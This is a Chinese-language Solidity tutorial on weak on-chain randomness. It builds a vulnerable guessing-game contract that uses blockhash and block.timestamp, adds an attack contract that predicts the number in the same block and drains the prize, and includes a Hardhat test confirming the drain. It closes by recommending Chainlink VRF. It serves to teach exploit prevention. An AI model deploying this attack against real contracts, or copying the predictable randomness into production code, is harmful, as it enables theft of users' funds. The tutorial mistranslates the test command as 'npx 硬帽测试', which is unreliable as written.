随机性的来源
随机性是一个很难的问题。计算机运行的代码是由程序员编写的,并遵循一个特定的步骤序列。因此,要设计一个能给你一个 "随机 "数字的算法是非常困难的,因为这个随机数字必须来自一个遵循一定步骤序列的算法。现在,当然,有些函数比其他函数更好。
在这种情况下,我们将具体看看为什么你不能相信链上数据作为随机性的来源(也是我们在 Junior 中使用的 Chainlink VRF 的原因)。
要求
- 我们将建立一个游戏,其中有一包牌。
- 每张牌都有一个与之相关的数字,范围从 0 到 2²⁵⁶-1。
- 玩家将猜测一个将被选中的数字。
- 然后庄家会随机从牌包中抽出一张牌。
- 如果有人猜对了数字,他们将赢得 0.1 ETH。
- 我们今天将破解这个游戏 :)
构建
为了构建智能合约,我们将使用 Hardhat。Hardhat 是一个 Ethereum 开发环境和框架,为 Solidity 的全栈开发而设计。简单地说,你可以编写你的智能合约,部署它们,运行测试,并调试你的代码。
创建项目
npm init --yes
npm install --save-dev hardhat
npx hardhat
选择创建一个基本样本项目 对已经指定的 Hardhat 项目根按回车键 在是否要添加.gitignore 的问题上按回车键 在 "是否要用 npm 安装这个样本项目的依赖项(@nomiclabs/hardhat-waffle ethereum-waffle chai @nomiclabs/hardhat-ethers ethers)? 现在你已经有了一个 Hardhat 项目 ,可以开始使用了!
开始
让我们先了解一下 abi.encodedPacked 是做什么的。
我们之前在大二的 NFT 教程中使用过 abi.encode。它是一种将多种数据类型串联成一个字节数组的方法,然后可以将其转换为一个字符串。这经常被用来计算 NFT 集合的 tokenURI。 encodePacked 更进一步,将多个值串联成一个字节数组,但也摆脱了任何填充和额外的值。这意味着什么呢?让我们以 uint256 为例。uint256 的数字有 256 位。但是,如果存储的值只是 1,使用 abi.encode 将创建一个有 255 个 0 和只有 1 个 1 的字符串。使用 abi.encodePacked 将摆脱所有额外的 0,而只是将 1 的值连接起来。
关于 abi.encodePacked 的更多信息,请继续阅读这篇文章。
在你的合约文件夹中创建一个名为 Game.sol 的文件,并添加以下几行代码。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
contract Game {
constructor() payable {}
/**
Randomly picks a number out of `0 to 2²⁵⁶–1`.
*/
function pickACard() private view returns(uint) {
// `abi.encodePacked` takes in the two params - `blockhash` and `block.timestamp`
// and returns a byte array which further gets passed into keccak256 which returns `bytes32`
// which is further converted to a `uint`.
// keccak256 is a hashing function which takes in a bytes array and converts it into a bytes32
uint pickedCard = uint(keccak256(abi.encodePacked(blockhash(block.number), block.timestamp)));
return pickedCard;
}
/**
It begins the game by first choosing a random number by calling `pickACard`
It then verifies if the random number selected is equal to `_guess` passed by the player
If the player guessed the correct number, it sends the player `0.1 ether`
*/
function guess(uint _guess) public {
uint _pickedCard = pickACard();
if(_guess == _pickedCard){
(bool sent,) = msg.sender.call{value: 0.1 ether}("");
require(sent, "Failed to send ether");
}
}
/**
Returns the balance of ether in the contract
*/
function getBalance() view public returns(uint) {
return address(this).balance;
}
}
现在在你的合约文件夹中创建一个名为 Attack.sol 的文件,并添加以下几行代码。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "./Game.sol";
contract Attack {
Game game;
/**
Creates an instance of Game contract with the help of `gameAddress`
*/
constructor(address gameAddress) {
game = Game(gameAddress);
}
/**
attacks the `Game` contract by guessing the exact number because `blockhash` and `block.timestamp`
is accessible publically
*/
function attack() public {
// `abi.encodePacked` takes in the two params - `blockhash` and `block.timestamp`
// and returns a byte array which further gets passed into keccak256 which returns `bytes32`
// which is further converted to a `uint`.
// keccak256 is a hashing function which takes in a bytes array and converts it into a bytes32
uint _guess = uint(keccak256(abi.encodePacked(blockhash(block.number), block.timestamp)));
game.guess(_guess);
}
// Gets called when the contract recieves ether
receive() external payable{}
}
攻击是如何发生的,具体如下。
- 黑客调用
Attack.sol
中的攻击函数
。 - 攻击者使用与
Game.sol
相同的方法进一步猜测数字,即uint(keccak256(abi.encodePacked(blockhash(block.number), block.timestamp))
- 攻击者能够猜到相同的数字,因为 blockhash 和 block.timestamp 是公共信息,每个人都可以访问它。
- 攻击者随后调用
Game.sol
中的猜测函数 guess 首先调用 pickACard 函数,该函数使用uint(keccak256(abi.encodePacked(blockhash(block.number), block.timestamp))
生成相同的数字,因为 pickACard 和攻击都是在同一个区块内调用的。 - 猜测比较这些数字,结果发现它们是一样的。
- 猜测然后发送
Attack.sol
0.1 ether
,游戏结束。 - 攻击者成功地猜出了随机数
现在让我们写一些测试来验证它是否完全按照我们希望的那样工作。
在测试文件夹中创建一个名为 attack.js 的新文件,并添加以下几行代码
const { ethers, waffle } = require("hardhat");
const { expect } = require("chai");
const { BigNumber, utils } = require("ethers");
describe("Attack", function () {
it("Should be able to guess the exact number", async function () {
// Deploy the Game contract
const Game = await ethers.getContractFactory("Game");
const _game = await Game.deploy({ value: utils.parseEther("0.1") });
await _game.deployed();
console.log("Game contract address", _game.address);
// Deploy the attack contract
const Attack = await ethers.getContractFactory("Attack");
const _attack = await Attack.deploy(_game.address);
console.log("Attack contract address", _attack.address);
// Attack the Game contract
const tx = await _attack.attack();
await tx.wait();
const balanceGame = await _game.getBalance();
// Balance of the Game contract should be 0
expect(balanceGame).to.equal(BigNumber.from("0"));
});
});
现在打开一个终端,指向 Source-of-Randomness 文件夹,执行以下内容
npx 硬帽测试 如果你所有的测试都通过了,你就成功地完成了黑客的任务 :)
预防措施
不要使用 blockhash、block.timestamp 或任何形式的链上数据作为随机性的来源。 你可以使用 Chainlink VRF 来获得真正的随机性来源。